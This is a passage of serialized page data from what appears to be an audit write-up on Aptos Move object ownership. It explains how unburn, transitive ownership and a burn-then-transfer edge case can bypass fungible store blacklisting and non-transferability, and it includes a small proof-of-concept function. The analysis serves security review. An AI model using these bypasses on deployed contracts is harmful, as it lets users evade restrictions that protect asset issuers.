6},{"style":125},[65997],{"type":28,"value":64874},{"type":22,"tag":118,"props":65999,"children":66000},{"style":210},[66001],{"type":28,"value":1190},{"type":22,"tag":118,"props":66003,"children":66004},{"style":532},[66005],{"type":28,"value":65760},{"type":22,"tag":118,"props":66007,"children":66008},{"style":125},[66009],{"type":28,"value":66010},"(ENOT_OBJECT_OWNER));\n",{"type":22,"tag":118,"props":66012,"children":66013},{"class":120,"line":195},[66014,66018,66023,66027,66031,66035],{"type":22,"tag":118,"props":66015,"children":66016},{"style":146},[66017],{"type":28,"value":4152},{"type":22,"tag":118,"props":66019,"children":66020},{"style":204},[66021],{"type":28,"value":66022}," object_addr",{"type":22,"tag":118,"props":66024,"children":66025},{"style":210},[66026],{"type":28,"value":837},{"type":22,"tag":118,"props":66028,"children":66029},{"style":204},[66030],{"type":28,"value":64435},{"type":22,"tag":118,"props":66032,"children":66033},{"style":210},[66034],{"type":28,"value":292},{"type":22,"tag":118,"props":66036,"children":66037},{"style":125},[66038],{"type":28,"value":66039},"inner;\n",{"type":22,"tag":118,"props":66041,"children":66042},{"class":120,"line":244},[66043,66047,66051,66055,66060,66064,66069,66073,66078,66082,66086],{"type":22,"tag":118,"props":66044,"children":66045},{"style":532},[66046],{"type":28,"value":65038},{"type":22,"tag":118,"props":66048,"children":66049},{"style":125},[66050],{"type":28,"value":540},{"type":22,"tag":118,"props":66052,"children":66053},{"style":210},[66054],{"type":28,"value":1407},{"type":22,"tag":118,"props":66056,"children":66057},{"style":532},[66058],{"type":28,"value":66059},"create_signer",{"type":22,"tag":118,"props":66061,"children":66062},{"style":125},[66063],{"type":28,"value":540},{"type":22,"tag":118,"props":66065,"children":66066},{"style":204},[66067],{"type":28,"value":66068},"object_addr",{"type":22,"tag":118,"props":66070,"children":66071},{"style":125},[66072],{"type":28,"value":17153},{"type":22,"tag":118,"props":66074,"children":66075},{"style":131},[66076],{"type":28,"value":66077},"TombStone",{"type":22,"tag":118,"props":66079,"children":66080},{"style":125},[66081],{"type":28,"value":11584},{"type":22,"tag":118,"props":66083,"children":66084},{"style":204},[66085],{"type":28,"value":65993},{"type":22,"tag":118,"props":66087,"children":66088},{"style":125},[66089],{"type":28,"value":40776},{"type":22,"tag":118,"props":66091,"children":66092},{"class":120,"line":253},[66093,66098,66102,66106],{"type":22,"tag":118,"props":66094,"children":66095},{"style":532},[66096],{"type":28,"value":66097},"    transfer_raw_inner",{"type":22,"tag":118,"props":66099,"children":66100},{"style":125},[66101],{"type":28,"value":540},{"type":22,"tag":118,"props":66103,"children":66104},{"style":204},[66105],{"type":28,"value":66068},{"type":22,"tag":118,"props":66107,"children":66108},{"style":125},[66109],{"type":28,"value":66110},", BURN_ADDRESS);\n",{"type":22,"tag":118,"props":66112,"children":66113},{"class":120,"line":263},[66114],{"type":22,"tag":118,"props":66115,"children":66116},{"style":125},[66117],{"type":28,"value":481},{"type":22,"tag":31,"props":66119,"children":66120},{},[66121,66127,66129,66134,66135,66142,66144,66149],{"type":22,"tag":114,"props":66122,"children":66124},{"className":66123},[],[66125],{"type":28,"value":66126},"unburn",{"type":28,"value":66128}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":22,"tag":114,"props":66130,"children":66132},{"className":66131},[],[66133],{"type":28,"value":65813},{"type":28,"value":20498},{"type":22,"tag":42,"props":66136,"children":66139},{"href":66137,"rel":66138},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[46],[66140],{"type":28,"value":66141},"AIP-99",{"type":28,"value":66143}," is a proposal to roll back the ",{"type":22,"tag":114,"props":66145,"children":66147},{"className":66146},[],[66148],{"type":28,"value":65805},{"type":28,"value":66150}," feature, but previously burned objects will remain restorable.",{"type":22,"tag":1269,"props":66152,"children":66153},{},[66154],{"type":22,"tag":31,"props":66155,"children":66156},{},[66157,66159,66163],{"type":28,"value":66158},"This ",{"type":22,"tag":118,"props":66160,"children":66161},{},[66162],{"type":28,"value":66141},{"type":28,"value":66164}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":22,"tag":31,"props":66166,"children":66167},{},[66168,66170,66176,66178,66183,66185,66190],{"type":28,"value":66169},"Another important thing is that ",{"type":22,"tag":114,"props":66171,"children":66173},{"className":66172},[],[66174],{"type":28,"value":66175},"fungible_asset::set_untransferable",{"type":28,"value":66177}," can be used to make all new ",{"type":22,"tag":114,"props":66179,"children":66181},{"className":66180},[],[66182],{"type":28,"value":64521},{"type":28,"value":66184}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":22,"tag":114,"props":66186,"children":66188},{"className":66187},[],[66189],{"type":28,"value":64017},{"type":28,"value":292},{"type":22,"tag":31,"props":66192,"children":66193},{},[66194,66196,66201,66203,66209,66211,66216,66218,66223],{"type":28,"value":66195},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":22,"tag":114,"props":66197,"children":66199},{"className":66198},[],[66200],{"type":28,"value":64017},{"type":28,"value":66202},", X can withdraw from that store. This is because ",{"type":22,"tag":114,"props":66204,"children":66206},{"className":66205},[],[66207],{"type":28,"value":66208},"fungible_asset::withdraw",{"type":28,"value":66210}," uses ",{"type":22,"tag":114,"props":66212,"children":66214},{"className":66213},[],[66215],{"type":28,"value":65535},{"type":28,"value":66217}," to verify both direct and indirect ownership of the ",{"type":22,"tag":114,"props":66219,"children":66221},{"className":66220},[],[66222],{"type":28,"value":64017},{"type":28,"value":52117},{"type":22,"tag":107,"props":66225,"children":66227},{"className":109,"code":66226,"language":111,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[66228],{"type":22,"tag":114,"props":66229,"children":66230},{"__ignoreMap":7},[66231,66292,66308,66338,66367,66382,66393,66423,66444,66451,66491,66516,66523],{"type":22,"tag":118,"props":66232,"children":66233},{"class":120,"line":121},[66234,66238,66243,66247,66251,66255,66259,66263,66268,66272,66276,66280,66284,66288],{"type":22,"tag":118,"props":66235,"children":66236},{"style":204},[66237],{"type":28,"value":9115},{"type":22,"tag":118,"props":66239,"children":66240},{"style":532},[66241],{"type":28,"value":66242}," verify_ungated_and_descendant",{"type":22,"tag":118,"props":66244,"children":66245},{"style":125},[66246],{"type":28,"value":540},{"type":22,"tag":118,"props":66248,"children":66249},{"style":204},[66250],{"type":28,"value":17583},{"type":22,"tag":118,"props":66252,"children":66253},{"style":210},[66254],{"type":28,"value":213},{"type":22,"tag":118,"props":66256,"children":66257},{"style":204},[66258],{"type":28,"value":8259},{"type":22,"tag":118,"props":66260,"children":66261},{"style":125},[66262],{"type":28,"value":231},{"type":22,"tag":118,"props":66264,"children":66265},{"style":204},[66266],{"type":28,"value":66267},"destination",{"type":22,"tag":118,"props":66269,"children":66270},{"style":210},[66271],{"type":28,"value":213},{"type":22,"tag":118,"props":66273,"children":66274},{"style":204},[66275],{"type":28,"value":8259},{"type":22,"tag":118,"props":66277,"children":66278},{"style":125},[66279],{"type":28,"value":588},{"type":22,"tag":118,"props":66281,"children":66282},{"style":204},[66283],{"type":28,"value":8353},{"type":22,"tag":118,"props":66285,"children":66286},{"style":131},[66287],{"type":28,"value":65915},{"type":22,"tag":118,"props":66289,"children":66290},{"style":125},[66291],{"type":28,"value":1474},{"type":22,"tag":118,"props":66293,"children":66294},{"class":120,"line":142},[66295,66300,66304],{"type":22,"tag":118,"props":66296,"children":66297},{"style":125},[66298],{"type":28,"value":66299},"        [",{"type":22,"tag":118,"props":66301,"children":66302},{"style":210},[66303],{"type":28,"value":11589},{"type":22,"tag":118,"props":66305,"children":66306},{"style":125},[66307],{"type":28,"value":13772},{"type":22,"tag":118,"props":66309,"children":66310},{"class":120,"line":177},[66311,66316,66320,66324,66329,66334],{"type":22,"tag":118,"props":66312,"children":66313},{"style":1480},[66314],{"type":28,"value":66315},"    while",{"type":22,"tag":118,"props":66317,"children":66318},{"style":125},[66319],{"type":28,"value":842},{"type":22,"tag":118,"props":66321,"children":66322},{"style":204},[66323],{"type":28,"value":17583},{"type":22,"tag":118,"props":66325,"children":66326},{"style":210},[66327],{"type":28,"value":66328}," !=",{"type":22,"tag":118,"props":66330,"children":66331},{"style":204},[66332],{"type":28,"value":66333}," current_address",{"type":22,"tag":118,"props":66335,"children":66336},{"style":125},[66337],{"type":28,"value":16783},{"type":22,"tag":118,"props":66339,"children":66340},{"class":120,"line":195},[66341,66346,66350,66355,66359,66363],{"type":22,"tag":118,"props":66342,"children":66343},{"style":204},[66344],{"type":28,"value":66345},"        count",{"type":22,"tag":118,"props":66347,"children":66348},{"style":210},[66349],{"type":28,"value":837},{"type":22,"tag":118,"props":66351,"children":66352},{"style":204},[66353],{"type":28,"value":66354}," count",{"type":22,"tag":118,"props":66356,"children":66357},{"style":210},[66358],{"type":28,"value":10905},{"type":22,"tag":118,"props":66360,"children":66361},{"style":674},[66362],{"type":28,"value":6535},{"type":22,"tag":118,"props":66364,"children":66365},{"style":125},[66366],{"type":28,"value":801},{"type":22,"tag":118,"props":66368,"children":66369},{"class":120,"line":244},[66370,66374,66378],{"type":22,"tag":118,"props":66371,"children":66372},{"style":125},[66373],{"type":28,"value":66299},{"type":22,"tag":118,"props":66375,"children":66376},{"style":210},[66377],{"type":28,"value":11589},{"type":22,"tag":118,"props":66379,"children":66380},{"style":125},[66381],{"type":28,"value":13772},{"type":22,"tag":118,"props":66383,"children":66384},{"class":120,"line":253},[66385,66389],{"type":22,"tag":118,"props":66386,"children":66387},{"style":532},[66388],{"type":28,"value":621},{"type":22,"tag":118,"props":66390,"children":66391},{"style":125},[66392],{"type":28,"value":696},{"type":22,"tag":118,"props":66394,"children":66395},{"class":120,"line":263},[66396,66401,66405,66410,66414,66419],{"type":22,"tag":118,"props":66397,"children":66398},{"style":204},[66399],{"type":28,"value":66400},"            exists",{"type":22,"tag":118,"props":66402,"children":66403},{"style":125},[66404],{"type":28,"value":559},{"type":22,"tag":118,"props":66406,"children":66407},{"style":131},[66408],{"type":28,"value":66409},"ObjectCore",{"type":22,"tag":118,"props":66411,"children":66412},{"style":125},[66413],{"type":28,"value":9617},{"type":22,"tag":118,"props":66415,"children":66416},{"style":204},[66417],{"type":28,"value":66418},"current_address",{"type":22,"tag":118,"props":66420,"children":66421},{"style":125},[66422],{"type":28,"value":3853},{"type":22,"tag":118,"props":66424,"children":66425},{"class":120,"line":318},[66426,66431,66435,66439],{"type":22,"tag":118,"props":66427,"children":66428},{"style":125},[66429],{"type":28,"value":66430},"            error",{"type":22,"tag":118,"props":66432,"children":66433},{"style":210},[66434],{"type":28,"value":1190},{"type":22,"tag":118,"props":66436,"children":66437},{"style":532},[66438],{"type":28,"value":65760},{"type":22,"tag":118,"props":66440,"children":66441},{"style":125},[66442],{"type":28,"value":66443},"(ENOT_OBJECT_OWNER),\n",{"type":22,"tag":118,"props":66445,"children":66446},{"class":120,"line":351},[66447],{"type":22,"tag":118,"props":66448,"children":66449},{"style":125},[66450],{"type":28,"value":9748},{"type":22,"tag":118,"props":66452,"children":66453},{"class":120,"line":359},[66454,66458,66462,66466,66471,66475,66479,66483,66487],{"type":22,"tag":118,"props":66455,"children":66456},{"style":146},[66457],{"type":28,"value":827},{"type":22,"tag":118,"props":66459,"children":66460},{"style":204},[66461],{"type":28,"value":64435},{"type":22,"tag":118,"props":66463,"children":66464},{"style":210},[66465],{"type":28,"value":837},{"type":22,"tag":118,"props":66467,"children":66468},{"style":204},[66469],{"type":28,"value":66470}," borrow_global",{"type":22,"tag":118,"props":66472,"children":66473},{"style":125},[66474],{"type":28,"value":559},{"type":22,"tag":118,"props":66476,"children":66477},{"style":131},[66478],{"type":28,"value":66409},{"type":22,"tag":118,"props":66480,"children":66481},{"style":125},[66482],{"type":28,"value":9617},{"type":22,"tag":118,"props":66484,"children":66485},{"style":204},[66486],{"type":28,"value":66418},{"type":22,"tag":118,"props":66488,"children":66489},{"style":125},[66490],{"type":28,"value":682},{"type":22,"tag":118,"props":66492,"children":66493},{"class":120,"line":368},[66494,66499,66503,66507,66511],{"type":22,"tag":118,"props":66495,"children":66496},{"style":204},[66497],{"type":28,"value":66498},"        current_address",{"type":22,"tag":118,"props":66500,"children":66501},{"style":210},[66502],{"type":28,"value":837},{"type":22,"tag":118,"props":66504,"children":66505},{"style":204},[66506],{"type":28,"value":64435},{"type":22,"tag":118,"props":66508,"children":66509},{"style":210},[66510],{"type":28,"value":292},{"type":22,"tag":118,"props":66512,"children":66513},{"style":125},[66514],{"type":28,"value":66515},"owner;\n",{"type":22,"tag":118,"props":66517,"children":66518},{"class":120,"line":384},[66519],{"type":22,"tag":118,"props":66520,"children":66521},{"style":125},[66522],{"type":28,"value":40938},{"type":22,"tag":118,"props":66524,"children":66525},{"class":120,"line":417},[66526],{"type":22,"tag":118,"props":66527,"children":66528},{"style":125},[66529],{"type":28,"value":481},{"type":22,"tag":31,"props":66531,"children":66532},{},[66533,66535,66540],{"type":28,"value":66534},"This could allow for bypassing assumptions about ",{"type":22,"tag":114,"props":66536,"children":66538},{"className":66537},[],[66539],{"type":28,"value":64017},{"type":28,"value":66541}," true ownership and its non-transferability.",{"type":22,"tag":107,"props":66543,"children":66545},{"className":109,"code":66544,"language":111,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[66546],{"type":22,"tag":114,"props":66547,"children":66548},{"__ignoreMap":7},[66549,66607,66660,66704,66752,66759,66804,66812],{"type":22,"tag":118,"props":66550,"children":66551},{"class":120,"line":121},[66552,66556,66560,66565,66569,66574,66578,66582,66586,66590,66595,66599,66603],{"type":22,"tag":118,"props":66553,"children":66554},{"style":204},[66555],{"type":28,"value":63616},{"type":22,"tag":118,"props":66557,"children":66558},{"style":204},[66559],{"type":28,"value":8216},{"type":22,"tag":118,"props":66561,"children":66562},{"style":532},[66563],{"type":28,"value":66564}," untransferable_transfer",{"type":22,"tag":118,"props":66566,"children":66567},{"style":125},[66568],{"type":28,"value":540},{"type":22,"tag":118,"props":66570,"children":66571},{"style":204},[66572],{"type":28,"value":66573},"caller",{"type":22,"tag":118,"props":66575,"children":66576},{"style":210},[66577],{"type":28,"value":213},{"type":22,"tag":118,"props":66579,"children":66580},{"style":210},[66581],{"type":28,"value":1430},{"type":22,"tag":118,"props":66583,"children":66584},{"style":204},[66585],{"type":28,"value":9153},{"type":22,"tag":118,"props":66587,"children":66588},{"style":125},[66589],{"type":28,"value":231},{"type":22,"tag":118,"props":66591,"children":66592},{"style":204},[66593],{"type":28,"value":66594},"receipient",{"type":22,"tag":118,"props":66596,"children":66597},{"style":210},[66598],{"type":28,"value":213},{"type":22,"tag":118,"props":66600,"children":66601},{"style":204},[66602],{"type":28,"value":8259},{"type":22,"tag":118,"props":66604,"children":66605},{"style":125},[66606],{"type":28,"value":16783},{"type":22,"tag":118,"props":66608,"children":66609},{"class":120,"line":142},[66610,66614,66619,66623,66627,66631,66636,66640,66644,66648,66652,66656],{"type":22,"tag":118,"props":66611,"children":66612},{"style":146},[66613],{"type":28,"value":4152},{"type":22,"tag":118,"props":66615,"children":66616},{"style":204},[66617],{"type":28,"value":66618}," constructor_ref",{"type":22,"tag":118,"props":66620,"children":66621},{"style":210},[66622],{"type":28,"value":837},{"type":22,"tag":118,"props":66624,"children":66625},{"style":125},[66626],{"type":28,"value":64435},{"type":22,"tag":118,"props":66628,"children":66629},{"style":210},[66630],{"type":28,"value":1190},{"type":22,"tag":118,"props":66632,"children":66633},{"style":532},[66634],{"type":28,"value":66635},"create_object",{"type":22,"tag":118,"props":66637,"children":66638},{"style":125},[66639],{"type":28,"value":9207},{"type":22,"tag":118,"props":66641,"children":66642},{"style":210},[66643],{"type":28,"value":1190},{"type":22,"tag":118,"props":66645,"children":66646},{"style":532},[66647],{"type":28,"value":9216},{"type":22,"tag":118,"props":66649,"children":66650},{"style":125},[66651],{"type":28,"value":540},{"type":22,"tag":118,"props":66653,"children":66654},{"style":204},[66655],{"type":28,"value":66573},{"type":22,"tag":118,"props":66657,"children":66658},{"style":125},[66659],{"type":28,"value":9230},{"type":22,"tag":118,"props":66661,"children":66662},{"class":120,"line":177},[66663,66667,66671,66675,66679,66683,66688,66692,66696,66700],{"type":22,"tag":118,"props":66664,"children":66665},{"style":146},[66666],{"type":28,"value":4152},{"type":22,"tag":118,"props":66668,"children":66669},{"style":204},[66670],{"type":28,"value":66022},{"type":22,"tag":118,"props":66672,"children":66673},{"style":210},[66674],{"type":28,"value":837},{"type":22,"tag":118,"props":66676,"children":66677},{"style":125},[66678],{"type":28,"value":64435},{"type":22,"tag":118,"props":66680,"children":66681},{"style":210},[66682],{"type":28,"value":1190},{"type":22,"tag":118,"props":66684,"children":66685},{"style":532},[66686],{"type":28,"value":66687},"address_from_constructor_ref",{"type":22,"tag":118,"props":66689,"children":66690},{"style":125},[66691],{"type":28,"value":540},{"type":22,"tag":118,"props":66693,"children":66694},{"style":210},[66695],{"type":28,"value":1407},{"type":22,"tag":118,"props":66697,"children":66698},{"style":204},[66699],{"type":28,"value":64869},{"type":22,"tag":118,"props":66701,"children":66702},{"style":125},[66703],{"type":28,"value":682},{"type":22,"tag":118,"props":66705,"children":66706},{"class":120,"line":195},[66707,66711,66715,66719,66724,66728,66732,66736,66740,66744,66748],{"type":22,"tag":118,"props":66708,"children":66709},{"style":146},[66710],{"type":28,"value":4152},{"type":22,"tag":118,"props":66712,"children":66713},{"style":204},[66714],{"type":28,"value":7841},{"type":22,"tag":118,"props":66716,"children":66717},{"style":210},[66718],{"type":28,"value":837},{"type":22,"tag":118,"props":66720,"children":66721},{"style":125},[66722],{"type":28,"value":66723}," primary_fungible_store",{"type":22,"tag":118,"props":66725,"children":66726},{"style":210},[66727],{"type":28,"value":1190},{"type":22,"tag":118,"props":66729,"children":66730},{"style":532},[66731],{"type":28,"value":64761},{"type":22,"tag":118,"props":66733,"children":66734},{"style":125},[66735],{"type":28,"value":540},{"type":22,"tag":118,"props":66737,"children":66738},{"style":204},[66739],{"type":28,"value":66068},{"type":22,"tag":118,"props":66741,"children":66742},{"style":125},[66743],{"type":28,"value":231},{"type":22,"tag":118,"props":66745,"children":66746},{"style":532},[66747],{"type":28,"value":64717},{"type":22,"tag":118,"props":66749,"children":66750},{"style":125},[66751],{"type":28,"value":17399},{"type":22,"tag":118,"props":66753,"children":66754},{"class":120,"line":244},[66755],{"type":22,"tag":118,"props":66756,"children":66757},{"emptyLinePlaceholder":15},[66758],{"type":28,"value":250},{"type":22,"tag":118,"props":66760,"children":66761},{"class":120,"line":253},[66762,66767,66771,66776,66780,66784,66788,66792,66796,66800],{"type":22,"tag":118,"props":66763,"children":66764},{"style":125},[66765],{"type":28,"value":66766},"    object",{"type":22,"tag":118,"props":66768,"children":66769},{"style":210},[66770],{"type":28,"value":1190},{"type":22,"tag":118,"props":66772,"children":66773},{"style":532},[66774],{"type":28,"value":66775},"transfer_raw",{"type":22,"tag":118,"props":66777,"children":66778},{"style":125},[66779],{"type":28,"value":540},{"type":22,"tag":118,"props":66781,"children":66782},{"style":204},[66783],{"type":28,"value":66573},{"type":22,"tag":118,"props":66785,"children":66786},{"style":125},[66787],{"type":28,"value":231},{"type":22,"tag":118,"props":66789,"children":66790},{"style":204},[66791],{"type":28,"value":66068},{"type":22,"tag":118,"props":66793,"children":66794},{"style":125},[66795],{"type":28,"value":231},{"type":22,"tag":118,"props":66797,"children":66798},{"style":204},[66799],{"type":28,"value":66594},{"type":22,"tag":118,"props":66801,"children":66802},{"style":125},[66803],{"type":28,"value":682},{"type":22,"tag":118,"props":66805,"children":66806},{"class":120,"line":263},[66807],{"type":22,"tag":118,"props":66808,"children":66809},{"style":257},[66810],{"type":28,"value":66811},"    //receipient can interact with store by using their signer\n",{"type":22,"tag":118,"props":66813,"children":66814},{"class":120,"line":318},[66815],{"type":22,"tag":118,"props":66816,"children":66817},{"style":125},[66818],{"type":28,"value":481},{"type":22,"tag":31,"props":66820,"children":66821},{},[66822,66824,66831],{"type":28,"value":66823},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":22,"tag":42,"props":66825,"children":66828},{"href":66826,"rel":66827},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[46],[66829],{"type":28,"value":66830},"edge case",{"type":28,"value":66832}," involving the transfer of a non-transferable fungible store.",{"type":22,"tag":107,"props":66834,"children":66836},{"className":109,"code":66835,"language":111,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[66837],{"type":22,"tag":114,"props":66838,"children":66839},{"__ignoreMap":7},[66840,66905,66966,67013,67024,67059,67079,67086,67093,67108,67115,67143],{"type":22,"tag":118,"props":66841,"children":66842},{"class":120,"line":121},[66843,66847,66851,66856,66860,66864,66868,66873,66877,66881,66885,66889,66893,66897,66901],{"type":22,"tag":118,"props":66844,"children":66845},{"style":204},[66846],{"type":28,"value":63616},{"type":22,"tag":118,"props":66848,"children":66849},{"style":204},[66850],{"type":28,"value":8216},{"type":22,"tag":118,"props":66852,"children":66853},{"style":532},[66854],{"type":28,"value":66855}," transfer_with_ref",{"type":22,"tag":118,"props":66857,"children":66858},{"style":125},[66859],{"type":28,"value":540},{"type":22,"tag":118,"props":66861,"children":66862},{"style":146},[66863],{"type":28,"value":65278},{"type":22,"tag":118,"props":66865,"children":66866},{"style":210},[66867],{"type":28,"value":213},{"type":22,"tag":118,"props":66869,"children":66870},{"style":131},[66871],{"type":28,"value":66872}," LinearTransferRef",{"type":22,"tag":118,"props":66874,"children":66875},{"style":125},[66876],{"type":28,"value":231},{"type":22,"tag":118,"props":66878,"children":66879},{"style":204},[66880],{"type":28,"value":34666},{"type":22,"tag":118,"props":66882,"children":66883},{"style":210},[66884],{"type":28,"value":213},{"type":22,"tag":118,"props":66886,"children":66887},{"style":204},[66888],{"type":28,"value":8259},{"type":22,"tag":118,"props":66890,"children":66891},{"style":125},[66892],{"type":28,"value":588},{"type":22,"tag":118,"props":66894,"children":66895},{"style":204},[66896],{"type":28,"value":8353},{"type":22,"tag":118,"props":66898,"children":66899},{"style":131},[66900],{"type":28,"value":65915},{"type":22,"tag":118,"props":66902,"children":66903},{"style":125},[66904],{"type":28,"value":1474},{"type":22,"tag":118,"props":66906,"children":66907},{"class":120,"line":142},[66908,66912,66916,66920,66924,66928,66933,66937,66941,66945,66949,66953,66957,66961],{"type":22,"tag":118,"props":66909,"children":66910},{"style":532},[66911],{"type":28,"value":64285},{"type":22,"tag":118,"props":66913,"children":66914},{"style":125},[66915],{"type":28,"value":540},{"type":22,"tag":118,"props":66917,"children":66918},{"style":210},[66919],{"type":28,"value":22581},{"type":22,"tag":118,"props":66921,"children":66922},{"style":204},[66923],{"type":28,"value":8713},{"type":22,"tag":118,"props":66925,"children":66926},{"style":125},[66927],{"type":28,"value":559},{"type":22,"tag":118,"props":66929,"children":66930},{"style":131},[66931],{"type":28,"value":66932},"Untransferable",{"type":22,"tag":118,"props":66934,"children":66935},{"style":125},[66936],{"type":28,"value":9617},{"type":22,"tag":118,"props":66938,"children":66939},{"style":146},[66940],{"type":28,"value":65278},{"type":22,"tag":118,"props":66942,"children":66943},{"style":210},[66944],{"type":28,"value":292},{"type":22,"tag":118,"props":66946,"children":66947},{"style":146},[66948],{"type":28,"value":1412},{"type":22,"tag":118,"props":66950,"children":66951},{"style":125},[66952],{"type":28,"value":64874},{"type":22,"tag":118,"props":66954,"children":66955},{"style":210},[66956],{"type":28,"value":1190},{"type":22,"tag":118,"props":66958,"children":66959},{"style":532},[66960],{"type":28,"value":65760},{"type":22,"tag":118,"props":66962,"children":66963},{"style":125},[66964],{"type":28,"value":66965},"(ENOT_MOVABLE));\n",{"type":22,"tag":118,"props":66967,"children":66968},{"class":120,"line":177},[66969,66973,66977,66981,66985,66989,66993,66997,67001,67005,67009],{"type":22,"tag":118,"props":66970,"children":66971},{"style":146},[66972],{"type":28,"value":4152},{"type":22,"tag":118,"props":66974,"children":66975},{"style":204},[66976],{"type":28,"value":64435},{"type":22,"tag":118,"props":66978,"children":66979},{"style":210},[66980],{"type":28,"value":837},{"type":22,"tag":118,"props":66982,"children":66983},{"style":204},[66984],{"type":28,"value":9603},{"type":22,"tag":118,"props":66986,"children":66987},{"style":125},[66988],{"type":28,"value":559},{"type":22,"tag":118,"props":66990,"children":66991},{"style":131},[66992],{"type":28,"value":66409},{"type":22,"tag":118,"props":66994,"children":66995},{"style":125},[66996],{"type":28,"value":9617},{"type":22,"tag":118,"props":66998,"children":66999},{"style":146},[67000],{"type":28,"value":65278},{"type":22,"tag":118,"props":67002,"children":67003},{"style":210},[67004],{"type":28,"value":292},{"type":22,"tag":118,"props":67006,"children":67007},{"style":146},[67008],{"type":28,"value":1412},{"type":22,"tag":118,"props":67010,"children":67011},{"style":125},[67012],{"type":28,"value":682},{"type":22,"tag":118,"props":67014,"children":67015},{"class":120,"line":195},[67016,67020],{"type":22,"tag":118,"props":67017,"children":67018},{"style":532},[67019],{"type":28,"value":64285},{"type":22,"tag":118,"props":67021,"children":67022},{"style":125},[67023],{"type":28,"value":696},{"type":22,"tag":118,"props":67025,"children":67026},{"class":120,"line":244},[67027,67032,67036,67041,67045,67050,67054],{"type":22,"tag":118,"props":67028,"children":67029},{"style":204},[67030],{"type":28,"value":67031},"        object",{"type":22,"tag":118,"props":67033,"children":67034},{"style":210},[67035],{"type":28,"value":292},{"type":22,"tag":118,"props":67037,"children":67038},{"style":125},[67039],{"type":28,"value":67040},"owner ",{"type":22,"tag":118,"props":67042,"children":67043},{"style":210},[67044],{"type":28,"value":302},{"type":22,"tag":118,"props":67046,"children":67047},{"style":146},[67048],{"type":28,"value":67049}," ref",{"type":22,"tag":118,"props":67051,"children":67052},{"style":210},[67053],{"type":28,"value":292},{"type":22,"tag":118,"props":67055,"children":67056},{"style":125},[67057],{"type":28,"value":67058},"owner,\n",{"type":22,"tag":118,"props":67060,"children":67061},{"class":120,"line":253},[67062,67067,67071,67075],{"type":22,"tag":118,"props":67063,"children":67064},{"style":125},[67065],{"type":28,"value":67066},"        error",{"type":22,"tag":118,"props":67068,"children":67069},{"style":210},[67070],{"type":28,"value":1190},{"type":22,"tag":118,"props":67072,"children":67073},{"style":532},[67074],{"type":28,"value":65760},{"type":22,"tag":118,"props":67076,"children":67077},{"style":125},[67078],{"type":28,"value":66443},{"type":22,"tag":118,"props":67080,"children":67081},{"class":120,"line":263},[67082],{"type":22,"tag":118,"props":67083,"children":67084},{"style":125},[67085],{"type":28,"value":45594},{"type":22,"tag":118,"props":67087,"children":67088},{"class":120,"line":318},[67089],{"type":22,"tag":118,"props":67090,"children":67091},{"style":125},[67092],{"type":28,"value":63727},{"type":22,"tag":118,"props":67094,"children":67095},{"class":120,"line":351},[67096,67100,67104],{"type":22,"tag":118,"props":67097,"children":67098},{"style":125},[67099],{"type":28,"value":64659},{"type":22,"tag":118,"props":67101,"children":67102},{"style":210},[67103],{"type":28,"value":11589},{"type":22,"tag":118,"props":67105,"children":67106},{"style":125},[67107],{"type":28,"value":13772},{"type":22,"tag":118,"props":67109,"children":67110},{"class":120,"line":359},[67111],{"type":22,"tag":118,"props":67112,"children":67113},{"style":125},[67114],{"type":28,"value":63727},{"type":22,"tag":118,"props":67116,"children":67117},{"class":120,"line":368},[67118,67122,67126,67130,67134,67139],{"type":22,"tag":118,"props":67119,"children":67120},{"style":204},[67121],{"type":28,"value":66766},{"type":22,"tag":118,"props":67123,"children":67124},{"style":210},[67125],{"type":28,"value":292},{"type":22,"tag":118,"props":67127,"children":67128},{"style":125},[67129],{"type":28,"value":67040},{"type":22,"tag":118,"props":67131,"children":67132},{"style":210},[67133],{"type":28,"value":282},{"type":22,"tag":118,"props":67135,"children":67136},{"style":204},[67137],{"type":28,"value":67138}," to",{"type":22,"tag":118,"props":67140,"children":67141},{"style":125},[67142],{"type":28,"value":801},{"type":22,"tag":118,"props":67144,"children":67145},{"class":120,"line":384},[67146],{"type":22,"tag":118,"props":67147,"children":67148},{"style":125},[67149],{"type":28,"value":481},{"type":22,"tag":31,"props":67151,"children":67152},{},[67153,67155,67160,67162,67167],{"type":28,"value":67154},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":22,"tag":114,"props":67156,"children":67158},{"className":67157},[],[67159],{"type":28,"value":65813},{"type":28,"value":67161},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":22,"tag":114,"props":67163,"children":67165},{"className":67164},[],[67166],{"type":28,"value":9153},{"type":28,"value":67168}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original 